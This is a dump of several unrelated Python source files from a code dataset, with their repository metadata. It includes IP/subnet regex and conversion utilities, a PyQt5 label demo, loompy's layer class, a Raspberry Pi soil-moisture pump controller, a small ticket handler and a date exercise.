list_of_searches.append('[1]['+str(int(hund_p[len(hund_p)-1]/10))+'][0-'+str(hund_p[len(hund_p)-1]%10)+']')\n        elif int(hund_p[len(hund_p)-1]/10)-int(hund_p[0]/10)==2:\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10))+']['+str(hund_p[0]%10)+'-9]')\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10)+1)+'][0-9]')\n            list_of_searches.append('[1]['+str(int(hund_p[len(hund_p)-1]/10))+'][0-'+str(hund_p[len(hund_p)-1]%10)+']')\n        elif int(hund_p[len(hund_p)-1]/10)-int(hund_p[0]/10)>=3:\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10))+']['+str(hund_p[0]%10)+'-9]')\n            list_of_searches.append('[1]['+str(int(hund_p[0]/10)+1)+'-'+str(int(hund_p[len(hund_p)-1]/10)-1)+'][0-9]')\n            list_of_searches.append('[1]['+str(int(hund_p[len(hund_p)-1]/10))+'][0-'+str(hund_p[len(hund_p)-1]%10)+']')\n\n    if len(twohun_p)>0:\n        for i in range(0,len(twohun_p)):\n            twohun_p[i]=twohun_p[i]-200\n        if int(twohun_p[len(twohun_p)-1]/10)-int(twohun_p[0]/10)==0:\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10))+']['+str(twohun_p[0]%10)+'-'+str(twohun_p[len(twohun_p)-1]%10)+']')\n        elif int(twohun_p[len(twohun_p)-1]/10)-int(twohun_p[0]/10)==1:\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10))+']['+str(twohun_p[0]%10)+'-9]')\n            list_of_searches.append('[2]['+str(int(twohun_p[len(twohun_p)-1]/10))+'][0-'+str(twohun_p[len(twohun_p)-1]%10)+']')\n        elif int(twohun_p[len(twohun_p)-1]/10)-int(twohun_p[0]/10)==2:\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10))+']['+str(twohun_p[0]%10)+'-9]')\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10)+1)+'][0-9]')\n            list_of_searches.append('[2]['+str(int(twohun_p[len(twohun_p)-1]/10))+'][0-'+str(twohun_p[len(twohun_p)-1]%10)+']')\n        elif int(twohun_p[len(twohun_p)-1]/10)-int(twohun_p[0]/10)>=3:\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10))+']['+str(twohun_p[0]%10)+'-9]')\n            list_of_searches.append('[2]['+str(int(twohun_p[0]/10)+1)+'-'+str(int(twohun_p[len(twohun_p)-1]/10)-1)+'][0-9]')\n            list_of_searches.append('[2]['+str(int(twohun_p[len(twohun_p)-1]/10))+'][0-'+str(twohun_p[len(twohun_p)-1]%10)+']')\n\n    for items in list_of_searches:\n        if mask in (8,16,24):\n            pass\n        else:\n            expressions_list.append(begin_ex+items+end_ex)\n    expressions_list_full =f'{or_logic}'.join([ranget for ranget in expressions_list])\n    return expressions_list_full\n\ndef toRegex(subnet: str, or_logic: str = '|'):\n        '''\n            Returns a RegEx pattern to match the given subnet.  Works for both IPv4 and IPv6.\n            -----\n            Parameters\n            ---\n            subnet: Subnet class object\n                Subnet to get RegEx pattern of.\n            or_logic: str\n                Symbol to be used as OR, default it |.\n            -----\n            Returns\n            ---\n            regex_pattern: str\n                RegEx pattern to match every IP address in the given subnet.\n            -----\n            Raises\n            ---\n            ValueError\n                If given subnet address is not a valid format.\n        '''\n        subnet_split = subnet.split('/')\n        iptype = ip_type(subnet_split[0])\n        if iptype == 'v4':\n            regex_pattern = toRegexv4(subnet, or_logic)\n        elif iptype == 'v6':\n            regex_pattern = toRegexv6(subnet, or_logic)\n        else:\n            raise ValueError(f'{subnet} is not a valid IPv4 or IPv6 subnet address')\n        return regex_pattern\n\ndef ip_type(address: str):\n    '''\n        Given an IP or subnet will return 'v4' if IPv4 or 'v6' if IPv6.  Can also be used to validate IP and subnet addresses.\n        -----\n        Parameters\n        ---\n        ip: str\n            IP address in decimal or hexadecimal notation.\n        -----\n        Returns\n        ---\n        iptype: str\n            IP address type, either v4 or v6, or None if provided string isn't a valid IP address.\n        -----\n        Raises\n        ---\n        TyperError\n            If input parameter is not of type string.\n        ValueError\n            If the network mask is invalid.  Expected values are between 0 and 32 for IPv4 and between 0 and 128 for IPv6.\n            If the number of octets or hexadecatets is invalid.  Expected values are 4 and 8 for IPv4 and IPv6 respectively.\n            If an invalid decimal or hexadecimal is provided. Expected decimal values are between 0 and 255 for IPv4 and expected hexadecial values are between 0 and ffff for IPv6.\n            If an invalid IPv4 or IPv6 format is used.  Includes missing periods or colons as well as multiple zero contractions in IPv6.\n    '''\n    if type(address) == type(''):\n        if '/' in address:\n            address, mask = address.split('/')[0], int(address.split('/')[1])\n        else:\n            mask = 0\n        if '.' in address:\n            if mask not in range(0,33):\n                raise ValueError(f'Invalid IPv4 network mask: mask should be integer between 0 and 32. {mask} does not fall in that range.')\n            ip_split = address.split('.')\n            if len(ip_split) == 4:\n                for octet in ip_split:\n                    if int(octet) not in range(0,256):\n                        raise ValueError(f'Invalid decimal value: each octet should be a decimal value between 0 and 255. {octet} does not fall in that range.')\n                iptype = 'v4'\n                return iptype\n            else:\n                raise ValueError(f'Wrong number of octets: there should be 4 octets.  The IP provided contains {len(ip_split)} octets.')\n        elif ':' in address:\n            if mask not in range(0,129):\n                raise ValueError(f'Invalid IPv6 network mask: mask should be integer between 0 and 128. {mask} does not fall in that range.')\n            if address.count('::') > 1:\n                count = address.count('::')\n                raise ValueError(f'Too many zero contractions: IPv6 addresses can only have a single set of 0s contracted to \"::\". The IP provided contains {count} contractions.')\n            else:\n                ip_split = address.split(':')\n                if len(ip_split) > 8:\n                    raise ValueError(f'Wrong number of hexadecatets: there should be 8 hexadecatets.  The IP provided contains {len(ip_split)} hexadecatets.')\n                elif '::' not in address and len(ip_split) != 8:\n                    raise ValueError(f'Wrong number of hexadecatets: there should be 8 hexadecatets.  The IP provided contains {len(ip_split)} hexadecatets.')\n                else:\n                    for hexadecatet in ip_split:\n                        if hexadecatet == '':\n                            hexadecatet = '0'\n                        if int(hexadecatet, 16) not in range(0,65536):\n                            raise ValueError(f'Invalid hexadecimal value: each hexadecatet should be a hexadecimal value between 0 and ffff. {hexadecatet} does not fall in that range.')\n                    iptype = 'v6'\n                    return iptype\n        else:\n            raise ValueError(f'Invalid format: {address} is not a valid IPv4 or IPv6 address.')\n    else:\n        raise TypeError(f'IP should be a string not {type(address)}.')\n\ndef ipv6_expand(ipv6: str):\n    '''\n        Given a shortened IPv6 or subnet address will return the unshortened version.\n        -----\n        Parameters\n        ---\n        ipv6: str\n            IPv6 or subnet address in hexadecimal notation.\n        -----\n        Returns\n        ---\n        expanded: str\n            Expanded IPv6 or subnet address.  Adds leading zeros and expands contraced zeros.\n    '''\n    iptype = ip_type(ipv6)\n    if iptype == 'v4':\n        raise ValueError('Invalid IP type: IP must be v6.')\n    if '/' in ipv6:\n        ipv6, mask = ipv6.split('/')[0], ipv6.split('/')[1]\n    else:\n        mask = ''\n    split = ipv6.split(':')\n    zeros = ['0000' for i in range(0,9-len(split))]\n    new_split = []\n    for hexadecatet in split:\n        if hexadecatet == '':\n            new_split += zeros\n        elif hexadecatet == '0':\n            new_split.append('0000')\n        elif len(hexadecatet) < 4:\n            for i in range(0,4-len(hexadecatet)):\n                hexadecatet = '0' + hexadecatet\n            new_split.append(hexadecatet)\n        else:\n            new_split.append(hexadecatet)\n    if mask == '':\n        new_ipv6 = ':'.join(new_split)\n    else:\n        new_ipv6 = ':'.join(new_split) + '/' + mask\n    return new_ipv6\n\ndef ipv6_contract(ipv6: str):\n    '''\n        Given an unshortened IPv6 or subnet address return contracted version.\n        -----\n        Parameters\n        ---\n        ipv6: str\n            IPv6 or subnet address in hexadecimal notation.\n        -----\n        Returns\n        ---\n        contracted: str\n            Shortened IPv6 or subnet address.  Removes leading zeros and contracts largest set of repeating zero hexadecatets.\n    '''\n    iptype = ip_type(ipv6)\n    ipv6 = ipv6_expand(ipv6)\n    if iptype == 'v4':\n        raise ValueError('Invalid IP type: IP must be v6.')\n    if '/' in ipv6:\n        ipv6, mask = ipv6.split('/')[0], ipv6.split('/')[1]\n    else:\n        mask = ''\n    ipv6_split = ipv6.split(':')\n    ipv6_contracted = []\n    #Remove leading zeros\n    for hexadecatet in ipv6_split:\n        while hexadecatet[0] == '0' and len(hexadecatet) > 1:\n                hexadecatet = hexadecatet[1:]\n        ipv6_contracted.append(hexadecatet)\n    #Remove largest set of repeating zero hexadecatets\n    #Find largest set of repeating zeros\n    i=0\n    replacing_zeros = []\n    while i < 8:\n        zeros = []\n        if ipv6_contracted[i] == '0':\n            zeros.append(i)\n            j=1\n            while ipv6_contracted[i+j] == '0':\n                zeros.append(i+j)\n                j+=1\n            i+=j\n            if len(zeros) >= len(replacing_zeros):\n                replacing_zeros = zeros\n        else:\n            i+=1\n    #Replace first zeros with empty string and remove the rest\n    ipv6_contracted[replacing_zeros[0]] = ''\n    i = 0\n    for item in replacing_zeros[1:]:\n        ipv6_contracted.pop(item-i)\n        i += 1\n    if mask == '':\n        ipv6_contracted = ':'.join(ipv6_contracted)\n    else:\n        ipv6_contracted = ':'.join(ipv6_contracted) + '/' + mask\n    return ipv6_contracted\n\ndef ip2bin(ip: str):\n    '''\n        Given an IP or subnet will return the IP in binary format.  Works for both IPv4 and IPv6.\n        -----\n        Parameters\n        ---\n        ip: str\n            IP or subnet address in decimal or hexadecimal notation.\n        -----\n        Returns\n        ---\n        bin_ip: str\n            Same IP address in binary format.\n        bin_mask: str\n            For subnet inputs, subnet mask in binary format.\n    '''\n    iptype = ip_type(ip)\n    if '/' in ip:\n        ip, mask = ip.split('/')[0], int(ip.split('/')[1])\n    else:\n        mask = None\n    bin_ip = ''\n    if iptype == 'v4':\n        split_ip = ip.split('.')\n        for octet in split_ip:\n            octet = format(int(octet), '08b')\n            bin_ip += octet\n        if mask is not None:\n            bin_mask = ''.join(['1' if i < mask else '0' for i in range(0,32)])\n            return bin_ip, bin_mask\n    elif iptype == 'v6':\n        ip = ipv6_expand(ip)\n        split_ip = ip.split(':')\n        for octet in split_ip:\n            octet = format(int(octet, 16), '016b')\n            bin_ip += octet\n        if mask is not None:\n            bin_mask = ''.join(['1' if i < mask else '0' for i in range(0,128)])\n            return bin_ip, bin_mask\n    return bin_ip\n\ndef bin2ip(bin_ip: str, bin_mask: str = None):\n    '''\n        Given an IP, and optionally a network mask, in binary format will return the IP or subnet address in decimal, if IPv4, or hexadecimal, if IPv6, format.\n        -----\n        Parameters\n        ---\n        bin_ip: str\n            IP address in binary format.\n        bin_mask: str, optional\n            Network mask in binary forat.\n        -----\n        Returns\n        ---\n        ip_address: str\n            Same IP address in decimal or hexadecimal format.\n        subnet_address: str\n            Subnet address in decimal or hexadecimal format, assuming binary network ask was provided.\n        -----\n        Raises\n        ---\n        ValueError\n            If any digits other than 0 or 1 are used in the binary format.\n            If given binary string is not a valid IP address; it must be 32 digits for IPv4 and 128 digits for IPv6.\n    '''\n    if len(bin_ip) == 32:\n        octets = [bin_ip[i:i+8] for i in range(0,32,8)]\n        ip_address = '.'.join([str(int(octet,2)) for octet in octets])\n    elif len(bin_ip) == 128:\n        hexadecatets = [bin_ip[i:i+16] for i in range(0,128, 16)]\n        ip_address = ':'.join([format(int(hexadecatet, 2), 'x') for hexadecatet in hexadecatets])\n    else:\n        raise ValueError(f'''{bin_ip} is not a valid binary IP address.  A binary IP address should either be 32 or 128 bits long for IPv4 and IPv6 address respectively.\n                            The binary number you provided is {len(bin_ip)} bits long.''')\n    if bin_mask is None:\n        return ip_address\n    else:\n        mask = bin_mask.count('1')\n        subnet_address = ip_address + '/' + str(mask)\n        return subnet_address\n\ndef in_subnet(ip: str, subnet: str):\n    '''\n        Given an IP and a subnet will return True if the IP is in that subnet, will return False if otherwise.  Works for both IPv4 and IPv6.\n        -----\n        Parameter\n        ---\n        ip: str\n            IP address.\n        subnet: str\n            Subnet address.\n        -----\n        Returns\n        ---\n        bool\n            True if IP is in the given subnet, otherwise returns False.\n    '''\n    subnet_split = subnet.split('/')\n    network = subnet_split[0]\n    mask = int(subnet_split[1])\n    #Convert the IP to binary\n    bin_ip = ip2bin(ip)\n    #Convert the subnet to binary\n    bin_network = ip2bin(network)\n    #Compare the network portion of the IP and the subnet to see if they match.\n    if bin_ip[:mask] == bin_network[:mask]:\n        return True\n    else:\n        return False","repo_name":"loicjamesmckeever/binip","sub_path":"src/binip/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":27244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39737116461","text":"import sys\nfrom PyQt5.QtWidgets import *\n\n\n# from PyQt5.QtWidgets import QLabel\nclass Wİndow(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"Label Widget\")\n        self.setGeometry(1000, 300, 300, 450)\n        self.Label()\n\n    def Label(self):\n        label1 = QLabel(\"Hello PyQt5\", self)  # self parametresini kullanmazsak pencerede gösteremeyiz\n        label1.move(50,50) # x düzleminde 50 px gitsin, y düzleminde 100 px gitsin\n        label2 = QLabel(\"PyQt5 is the very good\",self)\n        label2.move(50,80)\n        self.show()\n\n\ndef main():\n    App = QApplication(sys.argv)\n    window = Wİndow()\n    sys.exit(App.exec_())\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"mebaysan/LearningKitforBeginners-Python","sub_path":"PyQt5++/1-Temel_PyQT5_Elementleri/2-Label.py","file_name":"2-Label.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"73256210021","text":"import numpy as np\nfrom typing import *\nimport scipy\nfrom loompy import timestamp\n\n\nclass MemoryLoomLayer():\n\t\"\"\"\n\tA layer residing in memory (without a corresponding layer on disk), typically\n\tas part of a :class:`loompy.LoomView`. MemoryLoomLayer supports a subset of \n\tthe operations suported for regular layers.\n\t\"\"\"\n\tdef __init__(self, name: str, matrix: np.ndarray) -> None:\n\t\tself.name = name  #: Name of the layer\n\t\tself.shape = matrix.shape  #: Shape of the layer\n\t\tself.values = matrix\n\n\tdef __getitem__(self, slice: Tuple[Union[int, slice], Union[int, slice]]) -> np.ndarray:\n\t\treturn self.values[slice]\n\n\tdef __setitem__(self, slice: Tuple[Union[int, slice], Union[int, slice]], data: np.ndarray) -> None:\n\t\tself.values[slice] = data\n\n\tdef sparse(self, rows: np.ndarray, cols: np.ndarray) -> scipy.sparse.coo_matrix:\n\t\t\"\"\"\n\t\tReturn the layer as :class:`scipy.sparse.coo_matrix`\n\t\t\"\"\"\n\t\treturn scipy.sparse.coo_matrix(self.values[rows, :][:, cols])\n\n\tdef permute(self, ordering: np.ndarray, *, axis: int) -> None:\n\t\t\"\"\"\n\t\tPermute the layer along an axis\n\n\t\tArgs:\n\t\t\taxis: The axis to permute (0, permute the rows; 1, permute the columns)\n\t\t\tordering: The permutation vector\n\t\t\"\"\"\n\t\tif axis == 0:\n\t\t\tself.values = self.values[ordering, :]\n\t\telif axis == 1:\n\t\t\tself.values = self.values[:, ordering]\n\t\telse:\n\t\t\traise ValueError(\"axis must be 0 or 1\")\n\n\nclass LoomLayer():\n\t\"\"\"\n\tRepresents a layer (matrix) of values in the loom file, which can be accessed by slicing.\n\t\"\"\"\n\t\n\tdef __init__(self, name: str, ds: Any) -> None:\n\t\tself.ds = ds  #: The :class:`.LoomConnection` object this layer belongs to\n\t\tself.name = name  #: Name of the layer (str)\n\t\tself.shape = ds.shape  #: Shape of the layer, tuple of (n_rows, n_cols)\n\t\tself.dtype = \"\"  #: Datatype of the layer (str)\n\t\tif name == \"\":\n\t\t\tself.dtype = self.ds._file[\"/matrix\"].dtype\n\t\telse:\n\t\t\tself.dtype = self.ds._file[\"/layers/\" + self.name].dtype\n\n\tdef last_modified(self) -> str:\n\t\t\"\"\"\n\t\tReturn a compact ISO8601 timestamp (UTC timezone) indicating when the file was last modified\n\n\t\tNote: if the layer does not contain a timestamp, and the mode is 'r+', a new timestamp will be set and returned.\n\t\tOtherwise, the current time in UTC will be returned.\n\t\t\"\"\"\n\t\tif self.name == \"\":\n\t\t\tif \"last_modified\" in self.ds._file[\"/matrix\"].attrs:\n\t\t\t\treturn self.ds._file[\"/matrix\"].attrs[\"last_modified\"]\n\t\t\telif self.ds._file.mode == 'r+':\n\t\t\t\tself.ds._file[\"/matrix\"].attrs[\"last_modified\"] = timestamp()\n\t\t\t\tself.ds._file.flush()\n\t\t\t\treturn self.ds._file[\"/matrix\"].attrs[\"last_modified\"]\n\n\t\tif self.name != \"\":\n\t\t\tif \"last_modified\" in self.ds._file[\"/layers/\" + self.name].attrs:\n\t\t\t\treturn self.ds._file[\"/layers/\" + self.name].attrs[\"last_modified\"]\n\t\t\telif self.ds._file.mode == 'r+':\n\t\t\t\tself.ds._file[\"/layers/\" + self.name].attrs[\"last_modified\"] = timestamp()\n\t\t\t\tself.ds._file.flush()\n\t\t\t\treturn self.ds._file[\"/layers/\" + self.name].attrs[\"last_modified\"]\n\n\t\treturn timestamp()\n\n\tdef __getitem__(self, slice: Tuple[Union[int, slice], Union[int, slice]]) -> np.ndarray:\n\t\tif self.name == \"\":\n\t\t\treturn self.ds._file['/matrix'].__getitem__(slice)\n\t\treturn self.ds._file['/layers/' + self.name].__getitem__(slice)\n\n\tdef __setitem__(self, slice: Tuple[Union[int, slice], Union[int, slice]], data: np.ndarray) -> None:\n\t\tif self.name == \"\":\n\t\t\tself.ds._file['/matrix'][slice] = data\n\t\t\tself.ds._file[\"/matrix\"].attrs[\"last_modified\"] = timestamp()\n\t\t\tself.ds._file.attrs[\"last_modified\"] = timestamp()\n\t\t\tself.ds._file.flush()\n\t\telse:\n\t\t\tself.ds._file['/layers/' + self.name][slice] = data\n\t\t\tself.ds._file[\"/layers/\" + self.name].attrs[\"last_modified\"] = timestamp()\n\t\t\tself.ds._file.attrs[\"last_modified\"] = timestamp()\n\t\t\tself.ds._file.flush()\n\n\tdef sparse(self, rows: np.ndarray = None, cols: np.ndarray = None, dtype = None) -> scipy.sparse.coo_matrix:\n\t\tif rows is not None:\n\t\t\tif np.issubdtype(rows.dtype, np.bool_):\n\t\t\t\trows = np.where(rows)[0]\n\t\tif cols is not None:\n\t\t\tif np.issubdtype(cols.dtype, np.bool_):\n\t\t\t\tcols = np.where(cols)[0]\n\t\t\t\t\n\t\tn_genes = self.ds.shape[0] if rows is None else rows.shape[0]\n\t\tn_cells = self.ds.shape[1] if cols is None else cols.shape[0]\n\t\t# Calculate sparse data length to be able to reserve proper sized arrays beforehand\n\t\tnnonzero = 0\n\t\tfor (ix, selection, view) in self.ds.scan(items=cols, axis=1, layers=[self.name], what=[\"layers\"], batch_size=4096):\n\t\t\tif rows is not None:\n\t\t\t\tvals = view.layers[self.name][rows, :]\n\t\t\telse:\n\t\t\t\tvals = view.layers[self.name][:, :]\n\t\t\tnnonzero += np.count_nonzero(vals)\n\t\tdata = np.empty((nnonzero,), dtype=dtype) #(data: List[np.ndarray] = []\n\t\trow = np.empty((nnonzero,), dtype=('uint16' if self.ds.shape[0] < 2**16 else 'uint32')) #row : List[np.ndarray] = []\n\t\tcol = np.empty((nnonzero,), dtype=('uint32' if self.ds.shape[1] < 2**32 else 'uint64')) #col: List[np.ndarray] = []\n\t\ti = 0\n\t\tci = 0\n\t\tfor (ix, selection, view) in self.ds.scan(items=cols, axis=1, layers=[self.name], what=[\"layers\"], batch_size=4096):\n\t\t\tif rows is not None:\n\t\t\t\tvals = view.layers[self.name][rows, :]\n\t\t\telse:\n\t\t\t\tvals = view.layers[self.name][:, :]\n\t\t\tif dtype:\n\t\t\t\tvals = vals.astype(dtype)\n\t\t\tnonzeros = np.where(vals != 0)\n\t\t\tn = len(nonzeros[0])\n\t\t\tdata[ci:ci+n] = vals[nonzeros] #data.append(vals[nonzeros])\n\t\t\trow[ci:ci+n] = nonzeros[0] #row.append(nonzeros[0])\n\t\t\tcol[ci:ci+n] = (nonzeros[1]+i) #col.append(nonzeros[1] + i)\n\t\t\tci += n\n\t\t\ti += selection.shape[0]\n\t\treturn scipy.sparse.coo_matrix((data, (row, col)), shape=(n_genes, n_cells), dtype=dtype)\n\t\t#return scipy.sparse.coo_matrix((np.concatenate(data, dtype=dtype), (np.concatenate(row), np.concatenate(col))), shape=(n_genes, n_cells), dtype=dtype)\n\n\tdef _resize(self, size: Tuple[int, int], axis: int = None) -> None:\n\t\t\"\"\"Resize the dataset, or the specified axis.\n\n\t\tThe dataset must be stored in chunked format; it can be resized up to the \"maximum shape\" (keyword maxshape) specified at creation time.\n\t\tThe rank of the dataset cannot be changed.\n\t\t\"Size\" should be a shape tuple, or if an axis is specified, an integer.\n\n\t\tBEWARE: This functions differently than the NumPy resize() method!\n\t\tThe data is not \"reshuffled\" to fit in the new shape; each axis is grown or shrunk independently.\n\t\tThe coordinates of existing data are fixed.\n\t\t\"\"\"\n\t\tif self.name == \"\":\n\t\t\tself.ds._file['/matrix'].resize(size, axis)\n\t\telse:\n\t\t\tself.ds._file['/layers/' + self.name].resize(size, axis)\n\n\tdef map(self, f_list: List[Callable[[np.ndarray], int]], axis: int = 0, chunksize: int = 1000, selection: np.ndarray = None) -> List[np.ndarray]:\n\t\t\"\"\"\n\t\tApply a function along an axis without loading the entire dataset in memory.\n\n\t\tArgs:\n\t\t\tf_list (list of func):\t\tFunction(s) that takes a numpy ndarray as argument\n\n\t\t\taxis (int):\t\tAxis along which to apply the function (0 = rows, 1 = columns)\n\n\t\t\tchunksize (int): Number of rows (columns) to load per chunk\n\n\t\t\tselection (array of bool): Columns (rows) to include\n\n\t\tReturns:\n\t\t\tnumpy.ndarray result of function application\n\n\t\t\tIf you supply a list of functions, the result will be a list of numpy arrays. This is more\n\t\t\tefficient than repeatedly calling map() one function at a time.\n\t\t\"\"\"\n\t\tif hasattr(f_list, '__call__'):\n\t\t\traise ValueError(\"f_list must be a list of functions, not a function itself\")\n\n\t\tresult = []\n\t\tif axis == 0:\n\t\t\trows_per_chunk = chunksize\n\t\t\tfor i in range(len(f_list)):\n\t\t\t\tresult.append(np.zeros(self.shape[0]))\n\t\t\tix = 0\n\t\t\twhile ix < self.shape[0]:\n\t\t\t\trows_per_chunk = min(self.shape[0] - ix, rows_per_chunk)\n\t\t\t\tif selection is not None:\n\t\t\t\t\tchunk = self[ix:ix + rows_per_chunk, :][:, selection]\n\t\t\t\telse:\n\t\t\t\t\tchunk = self[ix:ix + rows_per_chunk, :]\n\t\t\t\tfor i in range(len(f_list)):\n\t\t\t\t\tresult[i][ix:ix + rows_per_chunk] = np.apply_along_axis(f_list[i], 1, chunk)\n\t\t\t\tix = ix + rows_per_chunk\n\t\telif axis == 1:\n\t\t\tcols_per_chunk = chunksize\n\t\t\tfor i in range(len(f_list)):\n\t\t\t\tresult.append(np.zeros(self.shape[1]))\n\t\t\tix = 0\n\t\t\twhile ix < self.shape[1]:\n\t\t\t\tcols_per_chunk = min(self.shape[1] - ix, cols_per_chunk)\n\t\t\t\tif selection is not None:\n\t\t\t\t\tchunk = self[:, ix:ix + cols_per_chunk][selection, :]\n\t\t\t\telse:\n\t\t\t\t\tchunk = self[:, ix:ix + cols_per_chunk]\n\t\t\t\tfor i in range(len(f_list)):\n\t\t\t\t\tresult[i][ix:ix + cols_per_chunk] = np.apply_along_axis(f_list[i], 0, chunk)\n\t\t\t\tix = ix + cols_per_chunk\n\t\treturn result\n\n\tdef _permute(self, ordering: np.ndarray, *, axis: int) -> None:\n\t\tif self.name == \"\":\n\t\t\tobj = self.ds._file['/matrix']\n\t\telse:\n\t\t\tobj = self.ds._file['/layers/' + self.name]\n\t\tif axis == 0:\n\t\t\tchunksize = 5000\n\t\t\tstart = 0\n\t\t\twhile start < self.shape[1]:\n\t\t\t\tsubmatrix = obj[:, start:start + chunksize]\n\t\t\t\tobj[:, start:start + chunksize] = submatrix[ordering, :]\n\t\t\t\tstart = start + chunksize\n\t\telif axis == 1:\n\t\t\tchunksize = 100000000 // self.shape[1]\n\t\t\tstart = 0\n\t\t\twhile start < self.shape[0]:\n\t\t\t\tsubmatrix = obj[start:start + chunksize, :]\n\t\t\t\tobj[start:start + chunksize, :] = submatrix[:, ordering]\n\t\t\t\tstart = start + chunksize\n\t\telse:\n\t\t\traise ValueError(\"axis must be 0 or 1\")\n","repo_name":"linnarsson-lab/loompy","sub_path":"loompy/loom_layer.py","file_name":"loom_layer.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"35"}
{"seq_id":"18802159272","text":"#Programa que genera las medidas de humedad del suelo del sensor.\n\nimport RPi.GPIO as GPIO #Libreria para utilizar las GPIO.\nimport time \t\t#Libreria para las funciones relacionadas al tiempo. (time)\n\n#set out GPIO numberring to BCM\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\n#Definir los pines GPIO a usar.\nchannel =24 #Sensor de Humedad\nmotor = 25  #Bomba de agua\nled1= 18    #Led Verde\nled2 = 17   # Led Azul\n\n#configuramos los pines GPIO como Input (entrada).\nGPIO.setup(channel,GPIO.IN)\n#configuramos los pines GPIO como Output (salida).\nGPIO.setup(25,GPIO.OUT) #Bomba de Agua\nGPIO.setup(18,GPIO.OUT) #Led Verde\nGPIO.setup(17,GPIO.OUT) #Led Azul\n\n#Funcion para obtener el valor digital.\ndef medirHumedad():\n    valor = GPIO.input(24) #Entrada del sensor\n    if valor == 0:\n        print(\"Humedo\") #Imprimir valores\n        \n    else:\n        print(\"Seco\") #Imprimir valores\n        \n    print(\"sensando humedad\")\n        \n    if valor >0:\n        GPIO.output(18, True) #Encender led Verde\n        GPIO.output(25, True) #Encender bomba de agua\n        GPIO.output(17, False) ## Apagar led azul\n        print(\"Encendiendo bomba de agua\")\n        time.sleep (10)\n        print(\"Apagando bomba de agua\")\n        \n    elif not():\n        GPIO.output(17, True) ## Encender led azul\n        time.sleep(1) # Esperamos 1 segundo\n        GPIO.output(17, False) ## Apagar led azul\n        time.sleep(1) ## Esperamos 1 segundo\n            \n        GPIO.output(25, False) #Apagar bomba\n        GPIO.output(18, False) #Apagar led Verde\n\n    \n    #Definir un ciclo infinito para medir la humedad cada 2 segundos.\nwhile True:\n    medirHumedad()\n    time.sleep(2)","repo_name":"CanMut/CODIGOS-DE-PYTHON-RASPBERRY-PI","sub_path":"Sensor de humedad con bomba de agua/humedad3.0.py","file_name":"humedad3.0.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"29360019218","text":"\nclass TicketHandler:\n\n    def __init__(self):\n        self.nextId = 0\n        self.tickets = []\n\n    def createTicket(data):\n        ticketTuple = jsonToTuple(data)\n        ticket = Ticket(self.nextId, ticketTuple.name,\n                    ticketTuple.estimatedHours)\n        self.tickets.append(ticket)\n        self.nextId = self.nextId +1\n    def readticket(ticketId):\n        for ticket in self.tickets:\n            if ticket.id == ticketId:\n                return ticket\n        return None\n    def updateticket(data):\n        ticketTuple = jsonToTuple(data)\n        for ticket in tickets:\n            if ticket.id == ticketTuple.id:\n                ticket.name = ticketTuple.name\n                ticket.estimatedHours = ticketTuple.estimatedHours\n                ticket.spentHours = ticketTuple.spentHours\n                return 1\n        return None\n    def deleteticket(ticketId):\n        deleteId = -1\n        for x in range(0,len(self.tickets)):\n            if self.tickets[x].id == ticketId:\n                deleteId = x\n                break\n        if deleteId > -1:\n            return self.tickets.pop(deleteId)\n        return None\n\n\n    def jsonToTuple(self, data):\n        x = json.loads(data, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\n        return x\n","repo_name":"elsgard/gamifytime","sub_path":"python/ticketHandler.py","file_name":"ticketHandler.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45083736256","text":"###\n### Define a simple next_day procedure, that assumes\n### every month has 30 days.\n###\n### For example:\n###    next_day(1999, 12, 30) => (2000, 1, 1)\n###    next_day(2013, 1, 30) => (2013, 2, 1)\n###    next_day(2012, 12, 30) => (2013, 1, 1)  (even though December really has 31 days)\n###\n\n\ndef next_day(year, month, day):\n    \"\"\"\n    Returns the year, month, day of the next day.\n    Simple version: assume every month has 30 days.\n    \"\"\"\n    # YOUR CODE HERE\n    if day + 1 <= 30:\n        return year, month, day + 1\n    day = (day + 1) % 30\n    if month + 1 <= 12:\n        return year, month + 1, day\n    month = (month + 1) % 12\n    year = year + 1\n    return year, month, day\n\n\nprint(next_day(2012, 12, 30))  # => (2013, 1, 1)  (even though December really has 31 days)\n\n# print next_day(1999, 12, 30)\n# print next_day(2013, 1, 30) #=> (2013, 2, 1)\n# Nice job! Test case next_day(2012, 1, 1) is correct!\n# Nice job! Test case next_day(2012, 4, 30) is correct!\n# Nice job! Test case next_day(2012, 12, 1) is correct!\n# Nice job! Test case next_day(1999, 12, 30) is correct!\n# Nice job! Test case next_day(2012, 12, 30) is correct!\n","repo_name":"andreskwan/HR-Python-Learning","sub_path":"Udacity/1 - Introduction/Problem Solving/U-ProblemSolving.py","file_name":"U-ProblemSolving.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
